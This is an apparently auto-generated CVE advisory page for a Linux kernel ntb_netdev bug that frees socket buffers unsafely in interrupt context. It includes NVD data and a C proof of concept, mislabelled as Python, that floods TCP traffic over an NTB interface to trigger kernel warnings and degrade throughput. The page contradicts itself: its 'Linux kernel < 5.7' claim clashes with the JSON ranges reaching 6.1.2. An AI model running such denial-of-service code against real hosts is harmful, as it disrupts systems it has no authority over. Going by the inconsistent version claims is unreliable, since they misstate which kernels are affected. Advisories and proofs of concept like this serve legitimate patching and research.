CVE-2022-50476

Description

In the Linux kernel, the following vulnerability has been resolved: ntb_netdev: Use dev_kfree_skb_any() in interrupt context TX/RX callback handlers (ntb_netdev_tx_handler(), ntb_netdev_rx_handler()) can be called in interrupt context via the DMA framework when the respective DMA operations have completed. As such, any calls by these routines to free skb's, should use the interrupt context safe dev_kfree_skb_any() function. Previously, these callback handlers would call the interrupt unsafe version of dev_kfree_skb(). This has not presented an issue on Intel IOAT DMA engines as that driver utilizes tasklets rather than a hard interrupt handler, like the AMD PTDMA DMA driver. On AMD systems, a kernel WARNING message is encountered, which is being issued from skb_release_head_state() due to in_hardirq() being true. Besides the user visible WARNING from the kernel, the other symptom of this bug was that TCP/IP performance across the ntb_netdev interface was very poor, i.e. approximately an order of magnitude below what was expected. With the repair to use dev_kfree_skb_any(), kernel WARNINGs from skb_release_head_state() ceased and TCP/IP performance, as measured by iperf, was on par with expected results, approximately 20 Gb/s on AMD Milan based server. Note that this performance is comparable with Intel based servers.

CVSS Details

CVSS Score

5.5

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:* - VULNERABLE

Linux kernel < 5.7 (需要具体提交修复的版本)

使用AMD PTDMA DMA驱动的Linux内核版本

使用ntb_netdev驱动的Linux内核版本（修复前）

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2022-50476 - PoC for triggering the ntb_netdev skb release bug
// This PoC demonstrates triggering the vulnerability by generating
// continuous network traffic over the ntb_netdev interface on AMD systems

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>

#define NTB_NETDEV_INTERFACE "ntb0"  // Adjust to actual NTB interface name
#define TARGET_IP "192.168.1.2"       // Remote peer IP over NTB
#define TARGET_PORT 5001
#define DURATION_SECONDS 30

// Trigger continuous DMA completions by sending/receiving TCP data
// This causes ntb_netdev_tx_handler/rx_handler to be called in
// hardirq context on AMD PTDMA systems, triggering the bug.
int main(int argc, char *argv[]) {
    int sockfd;
    struct sockaddr_in server_addr;
    char buffer[65536];
    memset(buffer, 'A', sizeof(buffer));

    // Create TCP socket over NTB interface
    sockfd = socket(AF_INET, SOCK_STREAM, 0);
    if (sockfd < 0) {
        perror("socket creation failed");
        return 1;
    }

    // Bind to NTB interface
    struct sockaddr_in local_addr;
    memset(&local_addr, 0, sizeof(local_addr));
    local_addr.sin_family = AF_INET;
    local_addr.sin_addr.s_addr = inet_addr("192.168.1.1");
    bind(sockfd, (struct sockaddr *)&local_addr, sizeof(local_addr));

    // Connect to peer
    memset(&server_addr, 0, sizeof(server_addr));
    server_addr.sin_family = AF_INET;
    server_addr.sin_port = htons(TARGET_PORT);
    server_addr.sin_addr.s_addr = inet_addr(TARGET_IP);

    if (connect(sockfd, (struct sockaddr *)&server_addr, sizeof(server_addr)) < 0) {
        perror("connect failed");
        close(sockfd);
        return 1;
    }

    printf("Connected via %s, generating DMA traffic...\n", NTB_NETDEV_INTERFACE);
    printf("Watch dmesg for WARNING: skb_release_head_state()\n");

    // Continuously send data to trigger DMA TX/RX completions
    // Each completion invokes ntb_netdev_tx/rx_handler in hardirq context
    for (int i = 0; i < DURATION_SECONDS * 1000; i++) {
        if (send(sockfd, buffer, sizeof(buffer), 0) < 0) {
            perror("send failed");
            break;
        }
    }

    close(sockfd);
    printf("Done. Check dmesg for kernel warnings.\n");
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2022-50476
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2022-50476
[3] CVE Details https://www.cvedetails.com/cve/CVE-2022-50476/
[4] VulDB https://vuldb.com/cve/CVE-2022-50476
[5] https://git.kernel.org/stable/c/07e28a8f450217db679802ebd4de0915556ce846
[6] https://git.kernel.org/stable/c/13286ad1c7c49c606fdcba4cf66f953a1a16c1ca
[7] https://git.kernel.org/stable/c/14d245da57a11e80277ab455aa9b6dcc5ed38a19
[8] https://git.kernel.org/stable/c/21296a52caa6a6bad6debdfe40ad81d4f1a27e69
[9] https://git.kernel.org/stable/c/5f7d78b2b12a9d561f48fa00bab29b40f4616dad
[10] https://git.kernel.org/stable/c/8b78493968ed3cef0326183ed059c55e42f24d5b
[11] https://git.kernel.org/stable/c/a6b9e09403102bdf8402dae734800e4916c7ea58
[12] https://git.kernel.org/stable/c/d4460c82177899751975180c268f352893302221
[13] https://git.kernel.org/stable/c/dd860b39aa7c7b82e6c99b6fdb99d4610ce49d67

Raw JSON Data

JSON

{"cve": {"id": "CVE-2022-50476", "sourceIdentifier": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "published": "2025-10-04T16:15:44.177", "lastModified": "2026-01-23T16:35:23.300", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "In the Linux kernel, the following vulnerability has been resolved:\n\nntb_netdev: Use dev_kfree_skb_any() in interrupt context\n\nTX/RX callback handlers (ntb_netdev_tx_handler(),\nntb_netdev_rx_handler()) can be called in interrupt\ncontext via the DMA framework when the respective\nDMA operations have completed. As such, any calls\nby these routines to free skb's, should use the\ninterrupt context safe dev_kfree_skb_any() function.\n\nPreviously, these callback handlers would call the\ninterrupt unsafe version of dev_kfree_skb(). This has\nnot presented an issue on Intel IOAT DMA engines as\nthat driver utilizes tasklets rather than a hard\ninterrupt handler, like the AMD PTDMA DMA driver.\nOn AMD systems, a kernel WARNING message is\nencountered, which is being issued from\nskb_release_head_state() due to in_hardirq()\nbeing true.\n\nBesides the user visible WARNING from the kernel,\nthe other symptom of this bug was that TCP/IP performance\nacross the ntb_netdev interface was very poor, i.e.\napproximately an order of magnitude below what was\nexpected. With the repair to use dev_kfree_skb_any(),\nkernel WARNINGs from skb_release_head_state() ceased\nand TCP/IP performance, as measured by iperf, was on\npar with expected results, approximately 20 Gb/s on\nAMD Milan based server. Note that this performance\nis comparable with Intel based servers."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H", "baseScore": 5.5, "baseSeverity": "MEDIUM", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "3.9", "versionEndExcluding": "4.9.337", "matchCriteriaId": "0E0273F2-224A-448F-92F6-D08F1E18B7CD"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.10", "versionEndExcluding": "4.14.303", "matchCriteriaId": "1E7450AD-4739-46F0-B81B-C02E7B35A97B"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.15", "versionEndExcluding": "4.19.270", "matchCriteriaId": "AE8904A3-99BE-4E49-9682-1F90A6373F4F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "4.20", "versionEndExcluding": "5.4.229", "matchCriteriaId": "A0C0D95E-414A-445E-941B-3EF6A4D3A093"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.5", "versionEndExcluding": "5.10.163", "matchCriteriaId": "D05D31FC-BD74-4F9E-B1D8-9CED62BE6F65"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.11", "versionEndExcluding": "5.15.86", "matchCriteriaId": "47237296-55D1-4ED4-8075-D00FC85A61EE"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "5.16", "versionEndExcluding": "6.0.16", "matchCriteriaId": "C720A569-3D93-4D77-95F6-E2B3A3267D9F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:linux:linux_kernel:*:*:*:*:*:*:*:*", "versionStartIncluding": "6.1", "versionEndExcluding": "6.1.2", "matchCriteriaId": "77239F4B-6BB2-4B9E-A654-36A52396116C"}]}]}], "references": [{"url": "https://git.kernel.org/stable/c/07e28a8f450217db679802ebd4de0915556ce846", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/13286ad1c7c49c606fdcba4cf66f953a1a16c1ca", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/14d245da57a11e80277ab455aa9b6dcc5ed38a19", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/21296a52caa6a6bad6debdfe40ad81d4f1a27e69", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/5f7d78b2b12a9d561f48fa00bab29b40f4616dad", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/8b78493968ed3cef0326183ed059c55e42f24d5b", "source": "416baaa9-dc9f-4396-8d5f-8c081fb06d67", "tags": ["Patch"]}, {"url": "https://git.kernel.org/stable/c/a6b9e09403102bdf8402dae734800e4916c7 ... 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